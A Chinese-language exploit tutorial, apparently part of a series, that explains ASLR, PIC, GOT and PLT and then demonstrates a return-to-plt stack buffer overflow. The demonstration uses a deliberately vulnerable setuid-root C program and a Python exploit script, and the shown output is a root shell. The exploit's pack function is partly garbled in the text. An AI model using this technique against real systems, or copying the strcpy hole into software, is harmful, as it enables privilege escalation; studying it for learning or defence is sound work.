前提条件：

经典的基于堆栈的缓冲区溢出

虚拟机安装：Ubuntu 12.04(x86)

在以前的帖子中，我们看到了攻击者需要知道下面两样事情

堆栈地址(跳转到shellcode)

libc基地址(成功绕过NX bit)

为了利用漏洞代码。 为了阻止攻击者的行为，安全研究人员提出了一个称为“ASLR”的漏洞利用。

什么是 ASLR?

地址空间布局随机化(ASLR)是随机化的利用缓解技术:

堆栈地址

堆地址

共享库地址

一旦上述地址被随机化，特别是当共享库地址被随机化时，我们采取的绕过NX bit的方法不会生效，因为攻击者需要知道libc基地址。但这种缓解技术并不完全是万无一失的，因此在这篇文章中我们可以看到如何绕过共享库地址随机化！

我们已经知道从前一篇文章的exp.py libc函数地址计算如下：

libc function address = libc base address + function offset

其中

因为随机化被关闭，所以libc基址是常量(0xb7e22000 - 对于我们的“vuln”二进制文件)。

函数偏移也是不变的(从“readelf -s libc.so.6 | grep”获得)

现在当我们打开完全随机化(使用下面的命令)#echo 2 > /proc/sys/kernel/randomize_va_space

libc基地址将被随机化。

注意：只有libc基地址是随机的，特定功能的偏移与其基地址始终保持不变！因此，如果我们可以绕过共享库基地址随机化，即使打开ASLR，也可以成功利用易受攻击的程序(使用三种技术)。

Return-to-plt (这章)

Brute force (第二部分)

GOT overwrite and GOT dereference (第三部分)

什么是return-to-plt?

在这种技术中，而不是返回到libc函数(其地址是随机的)攻击者返回到一个函数的PLT(其地址不是随机的-其地址在执行之前已知)。由于'function@PLT'不是随机的，所以攻击者不再需要预测libc的基地址，而是可以简单地返回到“function@PLT”来调用“function”。

什么是PLT，如何通过调用“function@PLT”来调用“函数”？

要了解过程链接表(PLT)，先让我简要介绍一下共享库！

与静态库不同，共享库代码段在多个进程之间共享，而其数据段对于每个进程是唯一的。这有助于减少内存和磁盘空间。由于代码段在多个进程之间共享，所以应该只有read和execute权限，因此动态链接器不能重新定位代码段中存在的数据符号或函数地址(因为它没有写权限)。那么动态链接如何在运行时重新定位共享库符号而不修改其代码段?它使用PIC完成！

什么是PIC？

位置无关代码(PIC)是为了解决这个问题而开发的 - 它确保共享库代码段在多个进程之间共享，尽管在加载时执行重定位。PIC通过一级间接寻址实现这一点-共享库代码段不包含绝对虚拟地址来代替全局符号和函数引用，而是指向数据段中的特定表。该表是全局符号和函数绝对虚拟地址的占位符。动态链接器作为重定位的一部分来填充此表。因此，只有重定位数据段被修改，代码段保持不变！

动态链接器以两种不同的方式重新定位PIC中发现的全局符号和函数，如下所述：

全局偏移表(GOT)：

全局偏移表包含每个全局变量的4字节条目，其中4字节条目包含全局变量的地址。当代码段中的指令引用全局变量时，而不是全局变量的绝对虚拟地址，指令指向GOT中条目。当加载共享库时，GOT条目由动态链接器重新定位。因此，PIC使用该表来重新定位具有单个间接级别的全局符号。

过程链接表(PLT)： 过程链接表包含每个全局函数的存根代码。代码段中的调用指令不直接调用函数('function')，而是调用存根代码(function @ PLT)。这个存根代码在动态链接器的帮助下解析了函数地址并将其复制到GOT(GOT [n])。这次解析仅在函数('function')的第一次调用期间发生，稍后当代码段中的调用指令调用存根代码(function @PLT)时，而不是调用动态链接器来解析函数地址('function')存根代码直接从GOT(GOT [n])获取功能地址并跳转到它。因此，PIC使用这个表来重新定位具有两级间接的功能地址。

很好，你阅读了关于PIC的内容，并了解了它有助于保持共享库代码段的完整，因此它有助于共享库代码段在许多进程之间真正的共享！但是你有没有想过，为什么当它不共享任何进程时，在可执行文件的代码段需要有一个GOT 条目或PLT存根代码？它的安全保护机制。现在默认情况下，代码段只能被赋予读取和执行权限，没有写入权限(R_X)。这种安全保护机制甚至不允许动态链接器写入代码段，因此它不能重新定位代码段中发现的数据符号或函数地址。因此，为了允许动态链接器重定位，可执行文件也需要GOT 条目和PLT存根代码，就像共享库一样！

实例：//eg.c

//$gcc -g -o eg eg.c

#include

int main(int argc, char* argv[]) {

printf("Hello %s\n", argv[1]);

return 0;

}

下面的反汇编显示，我们不会直接调用'printf'，而是调用相应的PLT代码'printf@PLT'。(gdb) disassemble main

Dump of assembler code for function main:

0x080483e4 : push %ebp

0x080483e5 : mov %esp,%ebp

0x080483e7 : and $0xfffffff0,%esp

0x080483ea : sub $0x10,%esp

0x080483ed : mov 0xc(%ebp),%eax

0x080483f0 : add $0x4,%eax

0x080483f3 : mov (%eax),%edx

0x080483f5 : mov $0x80484e0,%eax

0x080483fa : mov %edx,0x4(%esp)

0x080483fe : mov %eax,(%esp)

0x08048401 : call 0x8048300

0x08048406 : mov $0x0,%eax

0x0804840b : leave

0x0804840c : ret

End of assembler dump.

(gdb) disassemble 0x8048300

Dump of assembler code for function printf@plt:

0x08048300 : jmp *0x804a000

0x08048306 : push $0x0

0x0804830b : jmp 0x80482f0

End of assembler dump.

(gdb)

在printf第一次调用之前，其相应的GOT条目(0x804a000)指针将返回到PLT代码(0x8048306)。因此，当第一次调用printf函数时，其对应的函数地址将在动态链接器的帮助下得到解决。(gdb) x/1xw 0x804a000

0x804a000 : 0x08048306

(gdb)

现在在printf的调用之后，其相应的GOT条目包含printf函数地址(如下所示):(gdb) x/1xw 0x804a000

0x804a000 : 0xb7e6e850

(gdb)

注1：如果你想知道更多的PLT和GOT，请看这个博客的文章！

注2：在另一篇文章中，我将详细介绍如何在动态链接器的帮助下动态解析libc函数地址。到目前为止，只要记住下面两个语句(printf@PLT的一部分)负责函数地址解析！0x08048306 : push $0x0

0x0804830b : jmp 0x80482f0

现在有了这些知识，我们知道攻击者不需要精确的libc函数地址来调用libc函数，可以使用'function@PLT'地址(在执行之前知道)来简单地调用它。

漏洞代码：#include

#include

/* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */

void shell() {

system("/bin/sh");

exit(0);

}

int main(int argc, char* argv[]) {

int i=0;

char buf[256];

strcpy(buf,argv[1]);

printf("%s\n",buf);

return 0;

}

编译命令：#echo 2 > /proc/sys/kernel/randomize_va_space

$gcc -g -fno-stack-protector -o vuln vuln.c

$sudo chown root vuln

$sudo chgrp root vuln

$sudo chmod +s vuln

现在反汇编可执行文件'vuln'，我们可以找到‘system@PLT’和 ‘exit@PLT’的地址。(gdb) disassemble shell

Dump of assembler code for function shell:

0x08048474 : push %ebp

0x08048475 : mov %esp,%ebp

0x08048477 : sub $0x18,%esp

0x0804847a : movl $0x80485a0,(%esp)

0x08048481 : call 0x8048380

0x08048486 : movl $0x0,(%esp)

0x0804848d : call 0x80483a0

End of assembler dump.

(gdb)

使用这些地址我们可以写一个绕过ASLR(和NX bit)的漏洞利用代码！

利用代码：#exp.py

#!/usr/bin/env python

import struct

from subprocess import call

system = 0x8048380

exit = 0x80483a0

system_arg = 0x80485b5     #Obtained from hexdump output of executable 'vuln'

#endianess convertion

def conv(num):

return struct.pack("ystem + exit + system_arg

buf = "A" * 272

buf += conv(system)

buf += conv(exit)

buf += conv(system_arg)

print "Calling vulnerable program"

call(["./vuln", buf])

执行上面的exploit程序给我们root shell，如下所示：$ python exp.py

Calling vulnerable program

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������

# id

uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)

# exit

$

注意：为了获得这个root shell，可执行文件应包含'system@PLT'和'exit@PLT'代码。在第三部分中，我将讨论GOT覆盖和GOT解引用技术，即使在可执行文件中不存在必需的PLT存根代码，并且当ASLR被打开时，也可以帮助攻击者调用libc函数。